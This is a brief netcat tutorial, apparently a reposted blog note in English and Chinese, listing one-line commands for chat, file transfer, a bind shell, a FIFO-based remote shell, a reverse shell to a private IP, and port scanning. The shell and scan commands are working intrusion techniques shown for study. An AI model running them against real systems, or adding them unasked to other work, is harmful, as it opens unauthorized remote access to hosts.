netcat --study

来源:互联网 发布:联通网络在线客服 编辑:程序博客网 时间:2024/05/06 03:39

1.chat

server

#nc -l  -p port //note -p is necessary

client

#nc  serverip port

2.file transmission

server

#nc -l -p 2300 < a.txt

client

#nc -n serverip 2300 > c.txt

3.analog telnet

server

#nc -l -p 2300 -e /bin/bash

client

#nc -n serverip port

4.exec command by FIFO

first create fifo file,then read fifo to standard out ,exec standard out to in by sh shell,last echo results to the client by nc

server

#mkfifo /tmp/tmp_fifo

#cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l -p 2300 > /tmp/tmp_fifo

client

#nc -n serverip port

5.reverse shell:

反向shell是指在客户端打开的shell。这里服务器使用的是由客户提供的shel。

服务端

$nc -l 1567
在客户端,简单地告诉netcat在连接完成后,执行shell。

客户端

$nc 172.31.100.7 1567 -e /bin/bash
6 port scan


# nc -v -w 2 192.168.2.34 -z 21-24



0 0